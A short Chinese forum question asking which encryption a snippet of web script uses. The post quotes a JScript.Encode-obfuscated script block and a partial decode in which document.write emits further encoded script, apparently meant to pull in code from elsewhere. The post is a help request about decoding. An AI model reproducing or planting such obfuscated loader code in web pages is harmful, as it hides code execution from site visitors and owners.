高手帮我看看这是什么方式加密的~~~

Question

源代码：
<script language=JScript.Encode>#@~^cgAAAA== W&qy y&~ccWqcR 0~k,fz{GG+ipRGyXT,2&BNGm;hxORS.kD+cE@!/m.raY~VmUTECT+{9?1Db2Yc2UmKNn@*[@$U%%ozbbzxxcKJ*i %0l%X*fyAAAA==^#~@</SCripT>%X{FW *pX&1!{c+%2iIm^kmU/N{DGm'rlMWUoEIpNGm!h+ Y AMkYncE-@!/1.bwO'P^lxTEmL+''%l7ld^MkwDwPkDm'xwJ'zbx^-&W^ldt'mEMVw N/-Ew@*-@!-Jd1DraY'@*B*oS8AAA==^#~@</script>
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用Encode解密出：
<script language=JScript>.4312223,.4414828,s93y=7766;;.7250933,document.write("<script language=JScript>#@~^jgAAAA==4o");.8685855</SCripT>%X{FW *pX&1!{c+%2iIm^kmU/N{DGm'rlMWUoEIpNGm!h+ Y AMkYncE-@!/1.bwO'P^lxTEmL+''%l7ld^MkwDwPkDm'xwJ'zbx^-&W^ldt'mEMVw N/-Ew@*-@!-Jd1DraY'@*B*oS8AAA==^#~@</script>
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后面那部份是用什么加密的？？？不解~~